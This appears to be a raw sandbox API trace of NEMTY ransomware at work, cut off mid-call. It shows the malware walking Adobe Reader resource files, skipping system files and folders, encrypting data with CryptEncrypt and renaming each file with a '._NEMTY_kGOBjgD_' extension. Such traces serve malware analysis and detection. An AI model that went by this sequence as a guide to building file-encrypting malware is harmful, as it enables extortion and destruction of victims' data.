lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.et_EE.txt", cAlternateFileName="DI9AE7~1.TXT")) returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2=".") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="..") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="...") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="windows") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="rsa") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="NTDETECT.COM") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="ntldr") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="MSDOS.SYS") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="IO.SYS") returned -1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="boot.ini") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="boot.ini") returned 1 [0215.645] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="ntuser.dat") returned -1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="desktop.ini") returned 1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="CONFIG.SYS") returned 1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="RECYCLER") returned -1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="bootmgr") returned 1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="programdata") returned -1 [0215.646] lstrcmpiW (lpString1="DisplayLanguageNames.et_EE.txt", lpString2="appdata") returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et_EE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et_EE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et_EE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et_EE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et_EE.txt", lpUsedDefaultChar=0x0) returned 30 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.646] Sleep (dwMilliseconds=0x5) [0215.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342d2350, dwHighDateTime=0x1d561e8)) [0215.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342d2350, dwHighDateTime=0x1d561e8)) [0215.652] GetLastError () returned 0x0 [0215.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.652] GetLastError () returned 0x0 [0215.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.652] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.652] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.653] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.653] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="cKbD+mz5Q5vnlbJTmhFENNC81zF53uL0zZYQZ6+hCHfGXJU9OfLjGuU6FQgqfhD0\r\n75Lhs1y0ZKjoXscOw4T5WbhuNKwoF4sjone1kjN9ve8L3hZ8qJ9vrsyVPzSaLHrU\r\nIOLDYcsb6AY5HOpizS1fCpqQ1seWEb4neSSlnbJg0PzB5iPH/Tcsw/gxq0RsGSG+\r\nlocIq6rTKr0tgwl7YIL7qWzSRqIo9tYqqdIiSQC6+OgjrcTzjmTEtcn6jdu9mQRy\r\nVdR1y98/O7W+67/C4CWyN5jr4WUMp7hwWQRZ++3iw7P9uPpROCkmTX3KUao38JH9\r\n5tHObJ2h95HgyJhiVJgdZA==\r\n", pcchString=0x653e5dc) returned 1 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.653] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27486) returned 1 [0215.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6b50) returned 0x6352c48 [0215.653] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.653] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6b50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6b50, lpOverlapped=0x0) returned 1 [0215.657] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.657] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6b50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6b50, lpOverlapped=0x0) returned 1 [0215.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.657] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b5e [0215.657] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.657] CloseHandle (hObject=0x2e8) returned 1 [0215.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.657] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt._nemty_kgobjgd_")) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.658] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.fi.txt", cAlternateFileName="DIC325~1.TXT")) returned 1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2=".") returned 1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="..") returned 1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="...") returned 1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="windows") returned -1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.658] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="rsa") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="NTDETECT.COM") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="ntldr") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="MSDOS.SYS") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="IO.SYS") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="boot.ini") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="boot.ini") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="ntuser.dat") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="desktop.ini") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="CONFIG.SYS") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="RECYCLER") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="bootmgr") returned 1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="programdata") returned -1 [0215.659] lstrcmpiW (lpString1="DisplayLanguageNames.fi.txt", lpString2="appdata") returned 1 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 27 [0215.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 27 [0215.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 27 [0215.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.659] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi.txt", lpUsedDefaultChar=0x0) returned 27 [0215.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.660] Sleep (dwMilliseconds=0x5) [0215.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342f84b0, dwHighDateTime=0x1d561e8)) [0215.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342f84b0, dwHighDateTime=0x1d561e8)) [0215.668] GetLastError () returned 0x0 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.668] GetLastError () returned 0x0 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.668] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.668] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="3LcH/P7LQDswps9mTF+qEsmxkNjRZy5f6utGbk81cVRCBu6krUPDuVnLtOfJSoOy\r\nEU0QMSv1HfgoybydRSMzgto/Z2EuZ2Wh1tPSnaHL035H74fFwaEPHsdNX4IH1w5a\r\nHIKzt2zxNa5DqjslavoAlk46Y5cJc2BsOMySeHln/djdEQxsvf0EAg29yMecKfcl\r\n4MajCwY5hXPa+RKU8y9Cph+GwDabHLDeU/LlAsqu8gPUpCGW5IHPUKipWLLMv17c\r\nl9OJIrLpiWq+FUevpbmZJZBgdYH/H5elsxfw4D/Hq5z5PmhXb388QfzlGiJOiu3R\r\ng5MxaAa5SC6LOKr7TwkFQg==\r\n", pcchString=0x653e5dc) returned 1 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.669] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28020) returned 1 [0215.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6d70) returned 0x6352c48 [0215.670] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.670] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6d70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6d70, lpOverlapped=0x0) returned 1 [0215.673] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, 